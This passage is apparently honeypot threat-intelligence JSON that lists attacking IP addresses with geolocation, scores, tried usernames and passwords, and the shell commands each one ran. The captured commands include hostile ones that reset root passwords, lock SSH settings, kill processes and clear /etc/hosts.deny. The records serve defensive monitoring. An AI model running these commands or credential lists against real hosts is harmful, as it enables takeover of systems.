        "echo \"root:fuO9oCk3dhYP\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 30823,
      "as_org": "aurologic GmbH",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 153,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T22:39:51.936000+00:00",
        "last_seen_30d": "2026-03-09T23:00:56.566000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 30
      }
    },
    "157.180.44.202": {
      "attack_count": 119,
      "first_seen": "2026-03-24T06:19:39.674Z",
      "last_seen": "2026-03-24T06:39:55.607Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "assistant",
        "root",
        "345gs5662d34",
        "alpha",
        "dp",
        "francisco",
        "frappeuser",
        "rms",
        "sonarqube",
        "ubuntu"
      ],
      "passwords_attempted": [
        "12345",
        "123",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456*",
        "Admin@2025",
        "Cloud@123456",
        "Sonarqube123!",
        "dp123!",
        "rms123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\n7NadDKVJxLkZ\\n7NadDKVJxLkZ\\n\"|passwd",
        "echo -e \"123\\n7NadDKVJxLkZ\\n7NadDKVJxLkZ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T06:19:39.674000+00:00",
        "last_seen_30d": "2026-03-24T06:41:01.356000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "212.83.160.70": {
      "attack_count": 90,
      "first_seen": "2026-03-04T10:57:01.939Z",
      "last_seen": "2026-03-15T11:01:46.518Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway S.a.s.",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 11.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 145,
        "days_active_30d": 14,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T16:26:53.449000+00:00",
        "last_seen_30d": "2026-03-15T11:02:48.629000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 90,
        "Suricata": 52,
        "Ciscoasa": 3
      }
    },
    "103.215.80.173": {
      "attack_count": 89,
      "first_seen": "2026-03-06T01:01:55.498Z",
      "last_seen": "2026-03-06T01:32:11.751Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "dp",
        "cs",
        "ftpuser01",
        "lee",
        "maks"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "dp123",
        "ftpuser01pass",
        "leepass",
        "maks",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"dp123\\nAkSQVekqO5Bk\\nAkSQVekqO5Bk\\n\"|passwd",
        "echo -e \"dp123\\nAkSQVekqO5Bk\\nAkSQVekqO5Bk\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 24544,
      "as_org": "Overcasts Limited",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T01:01:55.498000+00:00",
        "last_seen_30d": "2026-03-06T01:33:21.817000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 89,
        "Suricata": 16
      }
    },
    "111.68.107.91": {
      "attack_count": 89,
      "first_seen": "2026-03-06T08:26:28.229Z",
      "last_seen": "2026-03-19T15:23:26.141Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "mob",
        "345gs5662d34",
        "alexis",
        "deploy",
        "jason"
      ],
      "passwords_attempted": [
        "123",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "mob123",
        "test"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"mob123\\nZC5vs6zPhPOt\\nZC5vs6zPhPOt\\n\"|passwd",
        "echo -e \"mob123\\nZC5vs6zPhPOt\\nZC5vs6zPhPOt\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 45773,
      "as_org": "PERN AS Content Servie Provider, Islamabad, Pakistan",
      "threat_score": 26.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.2,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 104,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T08:26:28.229000+00:00",
        "last_seen_30d": "2026-03-19T15:24:28.207000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 89,
        "Suricata": 15
      }
    },
    "64.227.142.204": {
      "attack_count": 78,
      "first_seen": "2026-03-12T15:33:18.200Z",
      "last_seen": "2026-03-12T15:49:58.949Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "P@ssw0rd123",
        "admin123",
        "letmein",
        "password",
        "password1",
        "root123",
        "welcome"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 109,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T15:33:18.200000+00:00",
        "last_seen_30d": "2026-03-12T15:51:05.275000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 78,
        "Suricata": 31
      }
    },
    "142.93.110.223": {
      "attack_count": 75,
      "first_seen": "2026-03-15T00:54:14.258Z",
      "last_seen": "2026-03-15T01:04:49.693Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "123qwe",
        "123qwerty",
        "21",
        "321",
        "4321",
        "54321",
        "654321",
        "Pa$w0rd",
        "Pa$word",
        "Password",
        "admin12",
        "pa$w0rd",
        "passw0rd"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 107,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T00:54:14.258000+00:00",
        "last_seen_30d": "2026-03-15T01:05:53.595000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 75,
        "Suricata": 32
      }
    },
    "3.151.241.153": {
      "attack_count": 53,
      "first_seen": "2026-03-08T07:49:08.975Z",
      "last_seen": "2026-03-18T20:53:17.836Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 97.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 2759,
        "days_active_30d": 27,
        "ports_targeted_30d": 109,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-03-05T15:35:02+00:00",
        "last_seen_30d": "2026-03-31T18:04:10.524000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1851,
        "Honeytrap": 684,
        "Dionaea": 83,
        "Cowrie": 53,
        "Mailoney": 49,
        "Redishoneypot": 27,
        "ConPot": 5,
        "ElasticPot": 3,
        "Honeyaml": 2,
        "CitrixHoneypot": 1,
        "Tanner": 1
      }
    },
    "66.167.166.155": {
      "attack_count": 50,
      "first_seen": "2026-03-10T00:01:02.273Z",
      "last_seen": "2026-03-10T00:06:26.563Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T00:01:02.273000+00:00",
        "last_seen_30d": "2026-03-10T00:07:26.915000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "72.255.32.120": {
      "attack_count": 50,
      "first_seen": "2026-03-31T18:33:46.353Z",
      "last_seen": "2026-03-31T18:39:10.733Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T18:33:46.353000+00:00",
        "last_seen_30d": "2026-03-31T18:40:15.731000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "51.158.205.203": {
      "attack_count": 46,
      "first_seen": "2026-03-18T05:07:01.022Z",
      "last_seen": "2026-03-22T18:47:12.111Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Haarlem",
      "asn": 12876,
      "as_org": "Scaleway S.a.s.",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 23.0,
        "persistence": 25,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 201,
        "days_active_30d": 30,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T14:47:22+00:00",
        "last_seen_30d": "2026-03-31T13:43:11.246000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 133,
        "Cowrie": 46,
        "Honeytrap": 22
      }
    },
    "175.107.36.7": {
      "attack_count": 44,
      "first_seen": "2026-03-29T13:49:05.475Z",
      "last_seen": "2026-03-29T13:53:50.952Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Rawalpindi",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 29.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T13:49:05.475000+00:00",
        "last_seen_30d": "2026-03-29T13:54:57.609000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "139.59.33.119": {
      "attack_count": 38,
      "first_seen": "2026-03-12T20:34:21.326Z",
      "last_seen": "2026-03-12T20:41:03.448Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "123456789",
        "admin",
        "password"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T20:34:21.326000+00:00",
        "last_seen_30d": "2026-03-12T20:42:06.512000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 13
      }
    },
    "115.61.113.245": {
      "attack_count": 34,
      "first_seen": "2026-03-16T13:05:16.508Z",
      "last_seen": "2026-03-16T13:08:56.936Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T13:05:16.508000+00:00",
        "last_seen_30d": "2026-03-16T13:10:04.407000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 18
      }
    },
    "36.111.82.21": {
      "attack_count": 34,
      "first_seen": "2026-03-15T04:42:46.634Z",
      "last_seen": "2026-03-23T01:20:23.862Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "1p",
        "fix02",
        "root",
        "scanner",
        "stress",
        "test"
      ],
      "passwords_attempted": [
        "123456",
        "123qwe",
        "fix02",
        "i8cJ5cY9Ep",
        "password",
        "stress"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 141679,
      "as_org": "China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.4,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T04:42:46.634000+00:00",
        "last_seen_30d": "2026-03-23T01:30:33.084000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 21
      }
    },
    "128.14.226.191": {
      "attack_count": 33,
      "first_seen": "2026-03-19T16:18:06.678Z",
      "last_seen": "2026-03-19T16:20:34.480Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "",
        "GET / HTTP/1.1",
        "b'\\x05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'"
      ],
      "passwords_attempted": [
        "",
        "Host: 172.105.186.117:23",
        "github.com\u0000PGET / HTTP/1.0"
      ],
      "commands_executed": [
        "KHTML, like Gecko",
        "",
        "Accept-Language: zh-CN,zh",
        "Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
        "Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0",
        "Intel Mac OS X 10_15_7",
        "Macintosh",
        "Macintosh ; Intel Mac OS X 10_15_7",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 53.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.4,
        "persistence": 12.5,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 87,
        "days_active_30d": 15,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-16T01:02:29.652000+00:00",
        "last_seen_30d": "2026-03-30T12:07:23.342000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 36,
        "Cowrie": 33,
        "Honeytrap": 18
      }
    },
    "192.76.153.253": {
      "attack_count": 27,
      "first_seen": "2026-03-04T17:31:04.655Z",
      "last_seen": "2026-03-12T19:27:18.199Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "freepbxuser",
        "sugarmaint"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Washere2025",
        "m@XiC0oC1Ty",
        "z4ng0rber"
      ],
      "commands_executed": [
        "cat /etc/passwd | grep root"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.client.fingerprint",
        "cowrie.client.var",
        "cowrie.command.input",
        "cowrie.direct-tcpip.data"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 60404,
      "as_org": "The Infrastructure Group B.V.",
      "threat_score": 80.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.3,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 169,
        "days_active_30d": 27,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T16:32:10+00:00",
        "last_seen_30d": "2026-03-28T17:22:23.805000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 99,
        "Cowrie": 25,
        "Ciscoasa": 20,
        "Honeytrap": 17,
        "H0neytr4p": 7,
        "Tanner": 1
      }
    },
    "106.13.44.253": {
      "attack_count": 25,
      "first_seen": "2026-03-05T18:12:05.930Z",
      "last_seen": "2026-03-15T05:13:21.545Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu"
      ],
      "passwords_attempted": [
        "Admin123",
        "qwe"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T18:12:05.930000+00:00",
        "last_seen_30d": "2026-03-15T05:23:30.222000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 12
      }
    },
    "157.245.105.32": {
      "attack_count": 25,
      "first_seen": "2026-03-03T09:00:03.670Z",
      "last_seen": "2026-03-03T09:04:05.577Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T08:59:31.605000+00:00",
        "last_seen_30d": "2026-03-03T09:05:13.983000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 10
      }
    },
    "81.29.142.100": {
      "attack_count": 22,
      "first_seen": "2026-03-05T01:40:12.749Z",
      "last_seen": "2026-03-26T02:08:02.766Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 210259,
      "as_org": "LLC Applied Computational Technologies",
      "threat_score": 83.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
